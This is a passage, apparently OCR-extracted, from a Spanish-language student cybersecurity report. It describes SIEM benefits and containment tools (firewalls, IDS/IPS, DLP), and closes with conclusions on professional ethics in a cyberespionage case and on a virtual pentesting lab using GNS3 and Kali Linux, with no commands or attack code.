« Andlisis en Tiempo Real: Permite detectar amenazas a medida que ocurren.

o Escalabilidad: Se adapta a organizaciones de cualquier tamafio y complejidad.

o Personalizacion: Permite configurar reglas y alertas personalizadas para adaptarse a las

necesidades especificas de cada organizacion.

« Integracion con Otras Herramientas: Se integra con otras herramientas de seguridad,

como sistemas de deteccidn de intrusiones (IDS) y herramientas de respuesta a incidentes.

o Visualizacion: Ofrece interfaces graficas intuitivas para visualizar los datos y las

amenazas.

Beneficios de Utilizar un SIEM:

o Deteccion temprana de amenazas: ldentifica ataques antes de que causen dafios

significativos.

e Respuesta mas rapida a incidentes: Reduce el tiempo de deteccidon y respuesta a

incidentes.

e Mejor comprension de los riesgos: Proporciona una vision holistica de la postura de

seguridad de la organizacion.
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e Cumplimiento normativo: Ayuda a cumplir con los requisitos de diversas normativas de

seguridad.

e Reduccidn de costos: Evita pérdidas econémicas causadas por incidentes de seguridad.

Desarrollo Punto 6

Defina por lo menos 3 herramientas de contencion de ataques informaticos “hardware o software”,

recuerde que las herramientas de contencion son diferentes a las herramientas de deteccion.

Las herramientas de contencidn de ataques informaticos son esenciales para mitigar las amenazas
y proteger los sistemas. A continuacion, te presento tres herramientas clave, tanto de hardware

como de software, que cumplen esta funcién:

Herramientas de Contencion de Ataques Informaticos

1. Firewalls:

o Definicién: Un firewall es un sistema de seguridad que monitorea el trafico de red entrante

y saliente, permitiendo o bloqueando datos segun un conjunto de reglas de seguridad.
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e Funcionamiento: Actla como un filtro, examinando cada paquete de datos que entra o
sale de una red. Si el paquete cumple con las reglas, se permite el paso; de lo contrario, se

bloquea.

e Tipos:

o Firewalls de hardware: Dispositivos fisicos que se instalan en la red para protegerla.

o Firewalls de software: Aplicaciones que se ejecutan en un sistema operativo y protegen

un dispositivo individual o una red mas pequefia.

o Caracteristicas clave:

o Filtrado de paquetes: Analiza los paquetes de datos para determinar si deben ser

permitidos o blogueados.

o Stateful inspection: Mantiene un estado de las conexiones para tomar decisiones mas

inteligentes sobre el trafico.

o NAT (Network Address Translation): Oculta las direcciones IP internas de una red.

2. Sistemas de Deteccidn y Prevencion de Intrusiones (IDS/IPS):

o Definicién: Los IDS y IPS son sistemas disefiados para detectar y prevenir ataques a redes

informaticas.

e« Funcionamiento:



69

o IDS: Monitorea el trafico de red en busca de patrones que indiquen un ataque y genera

alertas.

o IPS: Ademas de detectar, los IPS pueden tomar medidas para bloquear el ataque, como

descartar paquetes o bloquear conexiones.

e Tipos:

o Basados en firmas: Buscan patrones conocidos de ataques.

o Basados en anomalias: Detectan desviaciones del comportamiento normal de la red.

o Caracteristicas clave:

o Analisis de trafico: Examinan el contenido de los paquetes de datos en busca de firmas de

ataque.

o Generacion de alertas: Avisan al administrador de seguridad sobre actividades

sospechosas.

o Medidas de mitigacion: Pueden bloquear el trafico malicioso o aislar sistemas

comprometidos.

3. Sistemas de Prevencion de Pérdida de Datos (DLP):

o Definicién: Los DLP son sistemas disefiados para identificar, monitorear y proteger datos

confidenciales dentro de una organizacion.
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e Funcionamiento: Analizan el contenido de los archivos, correos electronicos y otros datos

para identificar informacion sensible y prevenir su fuga.
o Caracteristicas clave:
o Clasificacion de datos: Identifica y clasifica los datos segun su sensibilidad.

o Monitoreo de dispositivos: Rastrea los dispositivos USB y otros medios de

almacenamiento para evitar la copia de datos no autorizada.
o Encriptacion: Protege los datos en transito y en reposo.

o Prevencion de fugas de datos: Bloquea la transmisién de datos confidenciales a destinos

no autorizados.

Otras herramientas importantes:

e Antivirus y antimalware: Detectan y eliminan software malicioso.

o Sistemas de gestion de eventos de seguridad (SEM): Centralizan y correlacionan los

eventos de seguridad de toda la organizacion.

e HSM (Hardware Security Module): Moddulos de hardware que almacenan claves

criptograficas de forma segura.
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Conclusiones

Los profesionales y empresas de ciberseguridad deben adherirse a altos estandares de conducta,
como los establecidos por normativas como la Ley 1273 de 2009 y el Cddigo de Etica de COPNIA,

que exigen un comportamiento responsable y transparente al manejar informacion sensible.

Los actos de ciberespionaje, como el perpetrado por empleados de CyberFort, tienen graves
implicaciones legales y profesionales. Las organizaciones que cometen o facilitan estos actos
deben enfrentar sanciones legales severas, ademas de perder la confianza de sus clientes y del
sector. Para restaurar esa confianza, es necesario que las empresas y gobiernos establezcan
medidas de reparacion, incluyendo la divulgacion transparente de los incidentes y la adopcién de

controles mas estrictos en futuras auditorias.

Los gobiernos y organizaciones deben actuar rapidamente cuando descubren que una empresa de
ciberseguridad ha cometido actos de ciberespionaje, como en el caso de CyberFort Technologies.
Las acciones deben incluir la rescision del contrato, sanciones legales, y la implementacién de
politicas que aseguren gue estos incidentes no se repitan. Ademas, es fundamental establecer
protocolos de respuesta que permitan restaurar la confianza y proteger la reputacion de las

instituciones afectadas.

La confianza en el sector de la ciberseguridad depende no solo de la competencia técnica, sino
también del compromiso con principios éticos y legales. Las empresas deben operar dentro de un
marco de integridad, y tanto gobiernos como organizaciones deben ser diligentes al establecer
controles y responder ante cualquier violacién que comprometa la seguridad y confidencialidad de

la informacién.
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La Importancia de la Ciberseguridad y las Herramientas Especializadas: En un entorno digital cada
vez méas complejo, las organizaciones y profesionales necesitan estar bien equipados para enfrentar
amenazas emergentes. Herramientas como Metasploit, Nmap y OpenVAS son fundamentales para
identificar y explotar vulnerabilidades, lo que permite realizar pruebas de penetracion eficaces.
Estas herramientas ayudan a simular ataques reales, proporcionando un diagnostico preciso de las

debilidades en sistemas y redes, y permitiendo una respuesta proactiva.

Las pruebas de penetracidn siguen un proceso bien definido que abarca desde el reconocimiento
inicial hasta la explotacion y la remediacion de vulnerabilidades. La correcta implementacion de
este proceso es vital para evaluar la seguridad de los sistemas. Ademas, la integracion de
herramientas especificas en cada fase, como Nmap para el escaneo y Metasploit para la

explotacion, asegura que el analisis de seguridad sea profundo y eficiente.

Bases de Datos de Vulnerabilidades: ExploitDB y CVE: El acceso a bases de datos como
ExploitDB y CVE es crucial para mantener un sistema actualizado frente a amenazas conocidas.
Estas bases permiten a los profesionales de seguridad estar al tanto de vulnerabilidades recientes
y exploits disponibles, mejorando significativamente la capacidad de respuesta ante incidentes de

seguridad.

La creacion de un laboratorio de pruebas de ciberseguridad en un entorno virtual, utilizando GNS3
para simular redes y sistemas, es una estrategia eficaz para llevar a cabo pentesting y evaluaciones
de vulnerabilidades en un entorno controlado. Este montaje, con la interaccion entre Kali Linux y
Windows en red clase C, permite una evaluacién detallada y simulaciones realistas, facilitando la

mejora de las habilidades técnicas.
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El correcto funcionamiento de un laboratorio de pruebas de ciberseguridad requiere un hardware
robusto, con un procesador potente, suficiente memoria RAM y almacenamiento rapido. Estos
recursos aseguran que las simulaciones y analisis de vulnerabilidades se realicen sin interrupciones

y con resultados confiables.

La configuracion de redes virtuales es esencial para realizar pruebas en un entorno seguro. La
asignacion adecuada de direcciones IP y la configuracién de servicios en las maquinas virtuales
permiten realizar pruebas de penetracion, ataques y anélisis de trafico con el propésito de

identificar posibles fallas de seguridad.

Este banco de trabajo con GNS3, Kali Linux y Windows en red C ofrece un entorno controlado
ideal para simular ataques reales y mejorar las habilidades en ciberseguridad. La capacidad de
integrar herramientas especializadas, junto con una configuracién de red realista, permite realizar
pruebas de vulnerabilidades, monitoreo de trafico y evaluacion de respuestas ante posibles

amenazas.

Realizamos un pentesting en un entorno virtual como VirtualBox que nos permite practicar y
mejorar tus habilidades de hacking ético de manera segura y controlada. Al seguir estos pasos y
utilizando las herramientas adecuadas y expuestas en este documento, podras identificar las
vulnerabilidades en un sistema y proponer medidas para mejorar su seguridad del entorno donde

se encuentre trabajando o estudiando.
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